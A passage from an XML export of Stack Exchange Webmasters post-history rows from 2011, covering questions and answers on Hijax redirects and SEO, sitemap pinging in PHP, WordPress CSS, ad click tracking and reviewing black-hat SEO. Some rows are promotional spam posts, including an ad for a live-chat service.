too. if you make an immediate redirect after the user reaches your site, it **might** break this step on the page level. (this is just a **might**, only a some specialized google engineers know for sure)&#xD;&#xA;&#xD;&#xA;b) the other issue is, that users tend to copy&amp;paste the URL directly from the address-bar, even if you over them &quot;share / link to me&quot; box. this URL from address-bar copy &amp; paste behavior is hard coded into the well trained internet user by now, so there is no - easy - way to change this behaviour.&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;now some anecdotal &quot;evidence&quot;: i once optimized a big job site in the austrian market which had these kind of ajax redirects. the site performed in the search engines, but not as good as the (non ajaxy) competition. only after these redirects were turned of (only the second page view was then done via some ajaxy magic)the site started to perform better. if this was because of a) or b) (we did see more direct links to the good urls) i can not say.&#xD;&#xA;&#xD;&#xA;so maybe the &quot;second page view via ajax&quot; is a compromise you can go for.&#xD;&#xA;&#xD;&#xA;anyway: for big comercial sites where the question of seo is a question of &quot;to be or to be gone&quot; the recommendation is still to not to any ajaxy urls, for everyone else: please do not care to much about seo, the internet is to much fun for it. &#xD;&#xA;&#xD;&#xA;p.s.: the redirect after 10 seconds seems such a non ux thing to do so that i would not consider it. additionally the a) and b) issues would still be there. &#xD;&#xA;&#xD;&#xA;p.p.s.: as for point a) i woud recommend posting it on the google forum http://www.google.com/support/forum/p/Webmasters/label?lid=41234c84d9491af8&amp;hl=en as from time to time some humble engineers / google webmaster central guy are actually responding ... something) &#xD;&#xA;" />
  <row Id="26792" PostHistoryTypeId="2" PostId="11777" RevisionGUID="e4cd07d7-16b4-4bd0-a865-264846fc3bac" CreationDate="2011-04-06T05:03:53.843" UserId="6612" Text="### Question&#xD;&#xA;Will I get penalised as **&quot;[sneaky Javascript redirects][1]&quot;** by Google if I have the following Hijax setup (which requires a JavaScript redirect on the page index by google).&#xD;&#xA;&#xD;&#xA;### Goal&#xD;&#xA;I want to implement Hijax to enable AJAX content to be accessibile to non-JavaScript users and search engine crawlers.&#xD;&#xA;&#xD;&#xA;### Background&#xD;&#xA;&#xD;&#xA;1. I'm working on a static file server (GitHub Pages). No server side tricks allowed (so Google's #! &quot;hash bang&quot; [solution][2] is not an option).&#xD;&#xA;2. I'm trying to keep my files [DRY][3]. I don't want to repeat the common OUTER template in all my files i.e. header, navigation menu, footer, etc They will live in the main `index.html`&#xD;&#xA;&#xD;&#xA;### Setup the Hijax&#xD;&#xA;1. `index.html` page contains all OUTER html/css/js... the site's template.&#xD;&#xA;2. `index.html` has a `&lt;div id=&quot;content&quot;&gt;` which defaults to containing the &quot;homepage&quot; html.&#xD;&#xA;3. `index.html` has a navigation menu, with a Hijax link to an &quot;about&quot; page.&#xD;&#xA;4. With JavaScript **disabled** (e.g. crawler) it follows link to `/about.html`.&#xD;&#xA;5. With JavaScript **enabled** (e.g. most people) the link updates the url hash fragment to `/#about` and jQuery replaces the `&lt;div id=&quot;content&quot;&gt;` innerHTML with `$(&quot;#content&quot;).load(&quot;about.html #inner-container&quot;);`.&#xD;&#xA;&#xD;&#xA;### AJAX content&#xD;&#xA;&#xD;&#xA;`about.html` *does not* contain anything extra to try an cloak content for crawlers.&#xD;&#xA;&#xD;&#xA;`about.html` file contains enough HTML / CSS / JavaScript to display `/about.html` as a standalone page with it's own META data... e.g. `&lt;html&gt;&lt;head&gt;&lt;title&gt;About&lt;/title&gt;...&lt;/head&gt;&lt;body&gt;&lt;/body&gt;&lt;/html&gt;`.&#xD;&#xA;&#xD;&#xA;`about.html` has NO OUTER HTML template (i.e. header, navigation menu, footer, etc).&#xD;&#xA;&#xD;&#xA;`about.html` `&lt;body&gt;` contains a `&lt;div id=&quot;inner-container&quot;&gt;` which holds the content that is injected into `index.html`.&#xD;&#xA;&#xD;&#xA;`about.html` has a `&lt;noscript&gt;` tag as the first child of `&lt;body&gt;` which explains to non-JavaScript users that they are viewing the about page &quot;inner content&quot; - with a link to navigate to the `index.html` page to get the full page layout with menu.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;### The (Sneaky?) Redirect&#xD;&#xA;&#xD;&#xA;Google indexes the `/about.html` page. However when a person with JavaScript enabled visits that page there is no OUTER html template (e.g. header, navigation menu, footer, etc). So I need to do a JavaScript redirect to get the person over the `/#about` page (deeplinking to the &quot;about&quot; page &quot;state&quot; in `index.html`). &#xD;&#xA;&#xD;&#xA;I'm thinking of doing a &quot;[redirect on click or after 10 seconds][4]&quot;.&#xD;&#xA;&#xD;&#xA;The end results is that user ends up on an &quot;enhanced&quot; page back on `index.html` with all it's OUTER template - but the **core** &quot;page&quot; content is practically identical.&#xD;&#xA;&#xD;&#xA;### Known issue with inbound links e.g. Share / Bookmarking&#xD;&#xA;&#xD;&#xA;It seems that if a user shares the URL `/#about` on their blog, when allocating inbound links to my site Google ignores everything after the `#` ... it allocates value to the `/` page - See: http://stackoverflow.com/questions/5028405/hashbang-vs-hijax/5166665#5166665. &#xD;&#xA;&#xD;&#xA;I can only try an minimise this issue offering &quot;share&quot; buttons on the page with the appropriate urls i.e. `/about.html`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=66355&#xD;&#xA;  [2]: http://code.google.com/web/ajaxcrawling/docs/specification.html&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Don%27t_repeat_yourself&#xD;&#xA;  [4]: http://stackoverflow.com/questions/3234017/jquery-redirect-on-click-or-after-10-seconds/3234034#3234034" />
  <row Id="26793" PostHistoryTypeId="1" PostId="11777" RevisionGUID="e4cd07d7-16b4-4bd0-a865-264846fc3bac" CreationDate="2011-04-06T05:03:53.843" UserId="6612" Text="Hijax == sneaky Javascript redirects? Will I get banned from Google?" />
  <row Id="26794" PostHistoryTypeId="3" PostId="11777" RevisionGUID="e4cd07d7-16b4-4bd0-a865-264846fc3bac" CreationDate="2011-04-06T05:03:53.843" UserId="6612" Text="&lt;javascript&gt;&lt;ajax&gt;&lt;redirects&gt;&lt;seo&gt;" />
  <row Id="26795" PostHistoryTypeId="17" PostId="11777" RevisionGUID="8335706e-0b9f-4034-82b7-c4d9243628ba" CreationDate="2011-04-07T04:31:21.867" UserId="-1" Comment="from http://stackoverflow.com/questions/5561686/hijax-sneaky-javascript-redirects-will-i-get-banned-from-google" Text="" />
  <row Id="26796" PostHistoryTypeId="17" PostId="11780" RevisionGUID="74fbfc06-ad0b-4901-b375-4ca021e64d7d" CreationDate="2011-04-07T04:45:54.040" UserId="-1" Comment="from http://stackoverflow.com/questions/5570960/how-to-make-sure-that-google-indexes-your-site-in-less-than-a-day/5570985#5570985" Text="" />
  <row Id="26797" PostHistoryTypeId="17" PostId="11781" RevisionGUID="95383d44-6f84-43d5-9dd9-eb8b7aa399a7" CreationDate="2011-04-07T04:45:54.040" UserId="-1" Comment="from http://stackoverflow.com/questions/5570960/how-to-make-sure-that-google-indexes-your-site-in-less-than-a-day/5571001#5571001" Text="" />
  <row Id="26798" PostHistoryTypeId="17" PostId="11782" RevisionGUID="bc173fa1-abce-47bd-acd4-e55b1fd273d6" CreationDate="2011-04-07T04:45:54.040" UserId="-1" Comment="from http://stackoverflow.com/questions/5570960/how-to-make-sure-that-google-indexes-your-site-in-less-than-a-day/5575367#5575367" Text="" />
  <row Id="26799" PostHistoryTypeId="2" PostId="11780" RevisionGUID="e642b707-599e-4ba8-bc04-bbec22e37db7" CreationDate="2011-04-06T18:08:27.117" UserDisplayName="Horus" Text="Use google sitemaps.  We use them where I work, you can specify how often pages change, etc:&#xD;&#xA;&#xD;&#xA;http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=156184&amp;from=40318&amp;rd=1&#xD;&#xA;&#xD;&#xA;You cannot guarantee that they will crawl today, but for a small enough site, it will help them find your content faster." />
  <row Id="26800" PostHistoryTypeId="2" PostId="11781" RevisionGUID="db8795f0-f7dd-4969-ac3b-ad80893331b6" CreationDate="2011-04-06T18:10:36.397" UserId="5684" Text="I'd create a sitemap, then use some code like this (example is in PHP), to ping the sitemap to the major search engines.&#xD;&#xA;&#xD;&#xA;    function ping_sitemap($sitemap_url) {&#xD;&#xA;    	$pingurls = array(&#xD;&#xA;    		&quot;http://www.google.com/webmasters/tools/ping?sitemap=&quot;,&#xD;&#xA;    		&quot;http://submissions.ask.com/ping?sitemap=&quot;,&#xD;&#xA;    		&quot;http://www.bing.com/webmaster/ping.aspx?siteMap=&quot;&#xD;&#xA;    	);&#xD;&#xA;    &#xD;&#xA;    	foreach ($pingurls as $pingurl) {&#xD;&#xA;    		$ch = curl_init();&#xD;&#xA;    		curl_setopt($ch, CURLOPT_URL, $pingurl.$sitemap_url);&#xD;&#xA;    		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);&#xD;&#xA;    		$output = curl_exec($ch);&#xD;&#xA;    		curl_close($ch);&#xD;&#xA;    	}	&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;$sitemap_url needs to be the whole URL, starting with http://, not a relative one." />
  <row Id="26801" PostHistoryTypeId="2" PostId="11782" RevisionGUID="e4168a55-3319-43ed-a87f-ae0485589114" CreationDate="2011-04-07T02:45:19.993" UserId="3622" Text="&lt;p&gt;Honestly, I am not so sure that you could get search engines like Google index your web site in less than a day just simply adding a sitemap or even ping the sitemap to other sites. Various source shows that creating a sitemap or submitting a sitemap to search engines can not guarantee anything.I have not done that before though. My advise about sitemap is do it, but do not expect too much, especially regarding to get indexed quickly or get a higher ranking. &lt;/p&gt;&#xD;&#xA;&lt;p&gt; As you noticed, StackOverflow is doing exceptionally well both in terms of craw frequency and ranking. One of the biggest strengths of it is it provides **unique**, **valuable** and **fresh** content. As the cliche goes, content is king, if you want to lure search engines to visit your web site and index your content, you need to provide something that grab their attention, that is, I tell you, content, fresh, unique content. &lt;/p&gt;&#xD;&#xA;&lt;p&gt;In addition to that, link building is a very important part in search engine optimization(SEO). Links from good sites, meaning sharing same content or famous sites like NYTIMES, will give your more leverage in terms of indexing frequency and ranking. &lt;/p&gt;&#xD;&#xA;&lt;p&gt; Then we come to tech area, good code, semantic html is also important.Tags like `h`, `strong` `head`&#xD;&#xA;&#xD;&#xA;,`description` are important. &lt;/p&gt;&#xD;&#xA;&lt;p&gt;Good luck&lt;/p&gt;" />
  <row Id="26802" PostHistoryTypeId="2" PostId="11779" RevisionGUID="46d1aa09-094e-40f1-ab97-079e539e1153" CreationDate="2011-04-06T18:06:02.920" UserDisplayName="gaurav" Text="I am thinking of creating a website where the content will be only useful for a max of one week. I am also assuming that I will be getting most of the traffic thru search engines basically Google. For important sites like stackoverflow the crawling happens multiple times a day. But for a new site with time-dependent content, is it possible to get Google to index the site more frequently." />
  <row Id="26803" PostHistoryTypeId="1" PostId="11779" RevisionGUID="46d1aa09-094e-40f1-ab97-079e539e1153" CreationDate="2011-04-06T18:06:02.920" UserDisplayName="gaurav" Text="How to make sure that Google indexes your site in less than a day?" />
  <row Id="26804" PostHistoryTypeId="3" PostId="11779" RevisionGUID="46d1aa09-094e-40f1-ab97-079e539e1153" CreationDate="2011-04-06T18:06:02.920" UserDisplayName="gaurav" Text="&lt;search&gt;&lt;google&gt;&lt;seo&gt;&lt;web-crawlers&gt;&lt;google-crawlers&gt;" />
  <row Id="26805" PostHistoryTypeId="17" PostId="11779" RevisionGUID="e44df6a6-bc2a-4a2e-b439-9272e2c88f8e" CreationDate="2011-04-07T04:45:54.040" UserId="-1" Comment="from http://stackoverflow.com/questions/5570960/how-to-make-sure-that-google-indexes-your-site-in-less-than-a-day" Text="" />
  <row Id="26806" PostHistoryTypeId="2" PostId="11783" RevisionGUID="2c7214ba-1949-4817-a813-c78f8a0f56f4" CreationDate="2011-04-07T05:37:22.387" UserId="6648" Text="Yes it can be beneficial to make more than one version of the same site. You can use the same [website design][1] for different audiences but with the different versions. For example if you have your audiences in different countries then you can use the same site but make that as country specific because people like to use their own country's websites.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.londoncomputernetworks.com/cheap_website_design.html" />
  <row Id="26807" PostHistoryTypeId="2" PostId="11784" RevisionGUID="c96609a1-b887-486c-9b3d-f745575ae504" CreationDate="2011-04-07T05:38:48.800" UserId="5026" Text="A don't understand why the sidebar of my Wordpress blog does not have consistent formatting for H3 tags.  &#xD;&#xA;&#xD;&#xA;There are two PHP-generated un-styled H3 tags in the sidebar, followed by my own manual H3 tag.  The first two appear larger than the third, yet they are identical tags.&#xD;&#xA;&#xD;&#xA;The site in question [is here][1].&#xD;&#xA;&#xD;&#xA;The contents of sidebar.php are:&#xD;&#xA;&#xD;&#xA;    &lt;div class=&quot;sidebar&quot;&gt;&#xD;&#xA;&#xD;&#xA;    &lt;?php if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar('Sidebar') ) :&#xD;&#xA;        $widget_args = array(&#xD;&#xA;            'after_widget' =&gt; '&lt;/div&gt;&lt;/div&gt;',&#xD;&#xA;            'before_title' =&gt; '&lt;h3&gt;',&#xD;&#xA;            'after_title' =&gt; '&lt;/h3&gt;&lt;div class=&quot;widget-body clear&quot;&gt;'&#xD;&#xA;        );&#xD;&#xA;    ?&gt;&#xD;&#xA;&#xD;&#xA;    &lt;?php the_widget( 'GetConnected', 'title=Get Connected', $widget_args); ?&gt;&#xD;&#xA;&#xD;&#xA;    &lt;?php the_widget( 'Recentposts_thumbnail', 'title=Recent posts', $widget_args); ?&gt;&#xD;&#xA;            &#xD;&#xA;    &lt;?php endif; ?&gt;&#xD;&#xA;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&#xD;&#xA;    &lt;div class=&quot;sidebar&quot;&gt;&#xD;&#xA;    &lt;h3&gt;Choice links&lt;/h3&gt;&#xD;&#xA;    &lt;p&gt;&amp;nbsp;&lt;/p&gt;&#xD;&#xA; 	&lt;ul&gt;&#xD;&#xA; 		&lt;li&gt;&lt;a href=&quot;http://www.annimac.com.au&quot;&gt;Annimac Consultants&lt;/a&gt; - Futurist &amp; Life Coach&lt;/li&gt;&#xD;&#xA; 		&lt;li&gt;&lt;a href=&quot;http://www.melvilletenniscentre.com.au&quot;&gt;Melville Tennis Centre&lt;/a&gt; - Great social tennis&lt;/li&gt;&#xD;&#xA; 	&lt;/ul&gt; &#xD;&#xA;    &lt;/div&gt;		&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.superlogical.net" />
  <row Id="26808" PostHistoryTypeId="1" PostId="11784" RevisionGUID="c96609a1-b887-486c-9b3d-f745575ae504" CreationDate="2011-04-07T05:38:48.800" UserId="5026" Text="Wordpress CSS formating issue" />
  <row Id="26809" PostHistoryTypeId="3" PostId="11784" RevisionGUID="c96609a1-b887-486c-9b3d-f745575ae504" CreationDate="2011-04-07T05:38:48.800" UserId="5026" Text="&lt;css&gt;&lt;wordpress&gt;" />
  <row Id="26810" PostHistoryTypeId="2" PostId="11785" RevisionGUID="75073335-cda1-4297-bac1-309d7d6a4e28" CreationDate="2011-04-07T05:49:25.000" UserId="6113" Text="You have a wrong selector in your CSS stylesheet. It is `.widget h3`, but should be `.sidebar h3` (look into your HTML code). Besides - `&lt;p&gt;&amp;nbsp;&lt;/p&gt;` is a big &quot;no, no&quot;. One does not set the layout using empty and not semantically neutral block elements. Just use margins or paddings instead." />
  <row Id="26811" PostHistoryTypeId="25" PostId="11784" RevisionGUID="2db39172-19d0-40d9-9191-c2aacee6a203" CreationDate="2011-04-07T06:09:02.350" Comment="http://twitter.com/#!/StackWebmasters/status/55874705483239425" />
  <row Id="26812" PostHistoryTypeId="2" PostId="11786" RevisionGUID="7949581f-f858-4756-9200-725a880b1651" CreationDate="2011-04-07T07:00:26.180" UserId="4306" Text="According to most SEO providers for local search, the critical factors are as follows:&#xD;&#xA;&#xD;&#xA;1. Optimising your Google Places entry&#xD;&#xA;2. Citations&#xD;&#xA;3. Reviews&#xD;&#xA;4. User content&#xD;&#xA;&#xD;&#xA;Here are some good resources to get you started with optimising for Google Places:&#xD;&#xA;&#xD;&#xA;* http://www.smallbusinessonlinecoach.com/blog/seo/setting-up-google-maps-listing-within-googles-lbc/&#xD;&#xA;* http://www.smallbusinessonlinecoach.com/blog/seo/google-maps-citations-reviews/" />
  <row Id="26813" PostHistoryTypeId="2" PostId="11787" RevisionGUID="f474f2aa-9f01-4f10-b546-d9418953e153" CreationDate="2011-04-07T07:30:06.787" UserId="6650" Text="We use various pay per click advertising agencies and are able to tune the traffic to our mobile sites according to various things.&#xD;&#xA;&#xD;&#xA;The problem is, the number of clicks reported by the publisher never matches the clicks we see in our logs.  &#xD;&#xA;&#xD;&#xA;I'm told that it's natural to expect some drop off. Does anyone have any idea of what a reasonable drop off would be?  10%? 20%?&#xD;&#xA;&#xD;&#xA;I do expect some drop off because being a mobile platform I guess people are more likely to experience timeouts, connection drops etc.?&#xD;&#xA;&#xD;&#xA;Thanks!  Any help much appreciated&#xD;&#xA;&#xD;&#xA;Dan" />
  <row Id="26814" PostHistoryTypeId="1" PostId="11787" RevisionGUID="f474f2aa-9f01-4f10-b546-d9418953e153" CreationDate="2011-04-07T07:30:06.787" UserId="6650" Text="Paying for advertising on a cost per click basis - How to validate?" />
  <row Id="26815" PostHistoryTypeId="3" PostId="11787" RevisionGUID="f474f2aa-9f01-4f10-b546-d9418953e153" CreationDate="2011-04-07T07:30:06.787" UserId="6650" Text="&lt;advertising&gt;&lt;click-tracking&gt;" />
  <row Id="26816" PostHistoryTypeId="2" PostId="11788" RevisionGUID="b4044bcb-d050-4112-8940-a4693df3c680" CreationDate="2011-04-07T07:46:45.397" UserId="3659" Text="I know Wordpress provides this possibility and there is a Wordpress blog for Joomla: http://extensions.joomla.org/extensions/news-production/blog/6659" />
  <row Id="26817" PostHistoryTypeId="2" PostId="11789" RevisionGUID="abc16a7d-7385-4df4-917b-1e7806b052e7" CreationDate="2011-04-07T07:58:53.063" UserId="1089" Text="Google updates/tweaks its algorithm on a regular basis. I think the change you are referring to is the one aimed at [content farms][1]. Personally I wouldn't spend too much time worrying about this, unless you have employed the services of a content farm in the past of course.&#xD;&#xA;&#xD;&#xA;For as long as I can remember Google's general principle has always been to promote sites with useful/unique content, you don't have to write 1,000 word blog posts everyday or constantly update your site to be appealing to google.&#xD;&#xA;&#xD;&#xA;In terms of practical advice, look at your competition, especially those occupying the top 5 positions in google.  What sort of websites do they have? Do they have kick ass, constantly updated content?&#xD;&#xA;&#xD;&#xA;Paying someone in a third world country to write content for you is a terrible idea, I hope @Joe's comment was sarcasm.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googleblog.blogspot.com/2011/02/finding-more-high-quality-sites-in.html" />
  <row Id="26821" PostHistoryTypeId="2" PostId="11790" RevisionGUID="bf0787d7-cc68-4267-b706-bce5dcfd9cb3" CreationDate="2011-04-07T08:45:53.923" UserId="6653" Text="Get Live Chat&#xD;&#xA;hello there!&#xD;&#xA;&#xD;&#xA;GET LIVE CHAT can do all that you mentioned above!&#xD;&#xA;&#xD;&#xA;Key Features Of GET LIVE CHAT Service:&#xD;&#xA;&#xD;&#xA;1) Google Talk, Skype &amp; many more...integrated technology&#xD;&#xA;2) Free built In Phone or popularly known as click-to-call &amp; local access numbers in 40+ countries&#xD;&#xA;3) 99.5% uptime using Google Cloud &amp; Amazon CDN unlike any other Live chat Providers (Soon we are going to guarantee 100% uptime)&#xD;&#xA;4) Proactive Chat feature&#xD;&#xA;5) Chat Transfer ability&#xD;&#xA;6) The fastest live chat service (Using Browser push Technology)&#xD;&#xA;7) Maps &amp; History feature&#xD;&#xA;8) The Best User Interface- Ajax&#xD;&#xA;9) Pre-canned Shortcuts- For your frequently asked questions&#xD;&#xA;10) Excellent Customer Support&#xD;&#xA;&#xD;&#xA;P.S: The website is not yet fully functional as we are yet to launch this service in a couple of weeks. So, Kindly bear with us!&#xD;&#xA;&#xD;&#xA;In the meanwhile, if you need any more information please do contact us. I look forward to hearing from you.&#xD;&#xA;&#xD;&#xA;Website: www.getlivechatwebsite.appspot.com/&#xD;&#xA;&#xD;&#xA;Cheers,&#xD;&#xA;&#xD;&#xA;Naga Parakala&#xD;&#xA;Product Manager&#xD;&#xA;E-mail: naga@invox.com&#xD;&#xA;Live Chat with us on our website&#xD;&#xA;Address: 440 N Wolfe Road&#xD;&#xA;Sunnyvale, CA, 94085" />
  <row Id="26822" PostHistoryTypeId="5" PostId="11790" RevisionGUID="3b5caa86-1a4a-45d4-b858-031ffe276991" CreationDate="2011-04-07T08:51:28.723" UserId="6653" Comment="added 65 characters in body" Text="**GET LIVE CHAT** can do all that you mentioned above!&#xD;&#xA;&#xD;&#xA;Key Features Of GET LIVE CHAT Service:&#xD;&#xA;&#xD;&#xA;1) Google Talk, Skype &amp; many more...integrated technology&#xD;&#xA;2) Free built In Phone or popularly known as click-to-call &amp; local access numbers in 40+ countries&#xD;&#xA;3) 99.5% uptime using Google Cloud &amp; Amazon CDN unlike any other Live chat Providers (Soon we are going to guarantee 100% uptime)&#xD;&#xA;4) Proactive Chat feature&#xD;&#xA;5) Chat Transfer ability&#xD;&#xA;6) The fastest live chat service (Using Browser push Technology)&#xD;&#xA;7) Maps &amp; History feature&#xD;&#xA;8) The Best User Interface- Ajax&#xD;&#xA;9) Pre-canned Shortcuts- For your frequently asked questions&#xD;&#xA;10) No Build time&#xD;&#xA;11) Offline messages feature included as well!&#xD;&#xA;&#xD;&#xA;P.S: The website is not yet fully functional as we are yet to launch this service in a couple of weeks. So, Kindly bear with us!&#xD;&#xA;&#xD;&#xA;In the meanwhile, if you need any more information please do contact us. I look forward to hearing from you.&#xD;&#xA;&#xD;&#xA;Website: www.getlivechatwebsite.appspot.com/&#xD;&#xA;&#xD;&#xA;Cheers,&#xD;&#xA;&#xD;&#xA;Naga Parakala&#xD;&#xA;Product Manager&#xD;&#xA;E-mail: naga@invox.com&#xD;&#xA;Live Chat with us on our website&#xD;&#xA;Address: 440 N Wolfe Road&#xD;&#xA;Sunnyvale, CA, 94085&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/AjYIM.png" />
  <row Id="26823" PostHistoryTypeId="25" PostId="11787" RevisionGUID="c38c8b66-a6aa-449b-ac62-f150466d2a1b" CreationDate="2011-04-07T09:09:02.543" Comment="http://twitter.com/#!/StackWebmasters/status/55920003781885952" />
  <row Id="26825" PostHistoryTypeId="2" PostId="11792" RevisionGUID="9650f3b0-b1ee-4561-94b8-1c49d21bb170" CreationDate="2011-04-07T09:13:44.070" UserId="6654" Text="What is it for, and can you add a description manually?&#xD;&#xA;&#xD;&#xA;`&lt;meta name=&quot;description&quot; content=&quot;didn't do anything&quot;/&gt;`&#xD;&#xA;&#xD;&#xA;![Description column in Apache's directory listing][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/YAGzv.png" />
  <row Id="26826" PostHistoryTypeId="1" PostId="11792" RevisionGUID="9650f3b0-b1ee-4561-94b8-1c49d21bb170" CreationDate="2011-04-07T09:13:44.070" UserId="6654" Text="Description column in Apache's directory listing" />
  <row Id="26827" PostHistoryTypeId="3" PostId="11792" RevisionGUID="9650f3b0-b1ee-4561-94b8-1c49d21bb170" CreationDate="2011-04-07T09:13:44.070" UserId="6654" Text="&lt;apache&gt;" />
  <row Id="26828" PostHistoryTypeId="5" PostId="11738" RevisionGUID="e827c61e-21ae-4de7-8aab-4b3d89515baa" CreationDate="2011-04-07T09:29:39.610" UserId="6335" Comment="added 463 characters in body; edited tags; added 34 characters in body" Text="I'm using hidden forms, to collects some statistics.&#xD;&#xA;&#xD;&#xA;Will it have any penalty from search engines ?&#xD;&#xA;&#xD;&#xA;**Update 1:**&#xD;&#xA;&#xD;&#xA;I'm collecting some statistics, based on user interaction with my website. For example, POST requests will be sent to server, when:&#xD;&#xA;&#xD;&#xA;* user stops a playing video&#xD;&#xA;* user has watched a video till it's end&#xD;&#xA;* etc.&#xD;&#xA;&#xD;&#xA;Using form_remote_for in Rails, i'm just rendering the form and keep it invisible.&#xD;&#xA;&#xD;&#xA;The reason on doing that - is to utilize authencity tokens, and just have less to code. Via JavaScript i'm only filling some hidden fields up and initiating form submission." />
  <row Id="26829" PostHistoryTypeId="6" PostId="11738" RevisionGUID="e827c61e-21ae-4de7-8aab-4b3d89515baa" CreationDate="2011-04-07T09:29:39.610" UserId="6335" Comment="added 463 characters in body; edited tags; added 34 characters in body" Text="&lt;seo&gt;&lt;forms&gt;&lt;ruby-on-rails&gt;" />
  <row Id="26830" PostHistoryTypeId="2" PostId="11793" RevisionGUID="2c1a08d0-631e-4182-825a-030f62405849" CreationDate="2011-04-07T09:35:42.873" UserId="5727" Text="There is a website I am interested in reviewing for academic purposes.  It is a highly corrupt business in my opinion, and is still very popular and profitable.&#xD;&#xA;&#xD;&#xA;I believe it is using Blackhat SEO techniques to push down the rankings of pages that criticise it's operation, one technique it uses is domain spamming, buying multiple domains in an effort to flood results with positive messages.  It has also been known to shill (send paid employees to forums on other sites spreading good sentiments about it's business, this has been proven as IP's came from their HQ).&#xD;&#xA;&#xD;&#xA;I would like to fairly review it's site, and the site of competitors in regards to their application of Blackhat techniques.&#xD;&#xA;&#xD;&#xA;Is there a definitive list of Blackhat techniques?  A definitive and respected check list that I can go through?" />
  <row Id="26831" PostHistoryTypeId="1" PostId="11793" RevisionGUID="2c1a08d0-631e-4182-825a-030f62405849" CreationDate="2011-04-07T09:35:42.873" UserId="5727" Text="Blackhat SEO, reviewing a sites strategy" />
  <row Id="26832" PostHistoryTypeId="3" PostId="11793" RevisionGUID="2c1a08d0-631e-4182-825a-030f62405849" CreationDate="2011-04-07T09:35:42.873" UserId="5727" Text="&lt;seo&gt;&lt;blackhat&gt;&lt;comparison&gt;&lt;seo-audit&gt;" />
  <row Id="26833" PostHistoryTypeId="5" PostId="11793" RevisionGUID="563453d0-9432-40bc-8b4b-c7d4cc481277" CreationDate="2011-04-07T09:50:58.733" UserId="5727" Comment="added 128 characters in body" Text="There is a website I am interested in reviewing for academic purposes.  It is a highly corrupt business in my opinion, and is still very popular and profitable.&#xD;&#xA;&#xD;&#xA;I believe it is using Blackhat SEO techniques to push down the rankings of pages that criticise it's operation, one technique it uses is domain spamming, buying multiple domains in an effort to flood results with positive messages.  It has also been known to shill (send paid employees to forums on other sites spreading good sentiments about it's business, this has been proven as IP's came from their HQ).&#xD;&#xA;&#xD;&#xA;I would like to fairly review it's site, and the site of competitors in regards to their application of Blackhat techniques.&#xD;&#xA;&#xD;&#xA;Is there a definitive list of Blackhat techniques?  A definitive and respected check list that I can go through?&#xD;&#xA;&#xD;&#xA;**In other words, is it possible to ethically review a site, has anyone ever tried doing this before and how do you do it?**" />
  <row Id="26835" PostHistoryTypeId="2" PostId="11794" RevisionGUID="cc0280a4-fd95-4942-9ef8-3c59b3a6ae5a" CreationDate="2011-04-07T10:15:38.610" UserId="5041" Text="Once you have the documents in place, you can put a free search engine like [SearchBlox][1] to access them. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.searchblox.com/" />
  <row Id="26836" PostHistoryTypeId="2" PostId="11795" RevisionGUID="03f42ae8-740d-4157-8f81-d2f80ae9789a" CreationDate="2011-04-07T10:58:06.980" UserId="6655" Text="Yes the 11 web sites with domain names started with digits seems to be successful cases,but if you visit the sites, you will find that they are all non-English web sites. So I think that the domain name started with digits will not cause any problem in non-English country because the domain name system does not have their words or characters so they will not be  confused.&#xD;&#xA;&#xD;&#xA;In my case, my domain name is also started with digits, which is an eCommerce site &lt;cite&gt;&lt;a target='_blank' href='http://www.66express.com'&gt;Wholesale faucets&lt;/a&gt;&lt;/cite&gt; and &lt;cite&gt;&lt;a target='_blank' href='http://www.66express.com'&gt;Car GPS DVD Player&lt;/a&gt;&lt;/cite&gt; and found no problem with it until now. I don't think that google or other search engine will dislike the domain name started with digits." />
  <row Id="26837" PostHistoryTypeId="5" PostId="11795" RevisionGUID="9d927f26-5c78-4bd0-a6eb-d1fd55a5c17b" CreationDate="2011-04-07T11:05:15.287" UserId="6655" Comment="deleted 26 characters in body; deleted 32 characters in body" Text="Yes the 11 web sites with domain names started with digits seems to be successful cases,but if you visit the sites, you will find that they are all non-English web sites. So I think that the domain name started with digits will not cause any problem in non-English country because the domain name system does not have their words or characters so they will not be  confused.&#xD;&#xA;&#xD;&#xA;In my case, my domain name is also started with digits, which is an eCommerce site &lt;a href='http://www.66express.com'&gt;Wholesale faucets&lt;/a&gt; and &lt;a href='http://www.66express.com'&gt;Car GPS DVD Player&lt;/a&gt; and found no problem with it until now. I don't think that google or other search engine will dislike the domain name started with digits." />
  <row Id="26838" PostHistoryTypeId="5" PostId="11795" RevisionGUID="488602f9-8f35-4a39-8bae-86117538eeb7" CreationDate="2011-04-07T11:11:20.240" UserId="6655" Comment="deleted 1 characters in body" Text="Yes the 11 web sites with domain names started with digits seems to be successful cases,but if you visit the sites, you will find that they are all non-English web sites. So I think that the domain name started with digits will not cause any problem in non-English country because the domain name system does not have their words or characters so they will not be  confused.&#xD;&#xA;&#xD;&#xA;In my case, my domain name is also started with digits, which is an eCommerce site &lt;a href=&quot;http://www.66express.com&quot;&gt;wholesale faucet&lt;/a&gt; and &lt;a href=&quot;http://www.66express.com&quot;&gt;Car GPS DVD Player&lt;/a&gt; and found no problem with it until now. I don't think that google or other search engine will dislike the domain name started with digits." />
  <row Id="26839" PostHistoryTypeId="2" PostId="11796" RevisionGUID="d67c3390-824a-42d3-9987-b9873d203ff7" CreationDate="2011-04-07T11:21:22.057" UserId="6467" Text="&quot;Is there a definitive list of Blackhat techniques?&quot;&#xD;&#xA;&#xD;&#xA;Anything to deceive a Search Engine is black hat. The list could be endless. " />
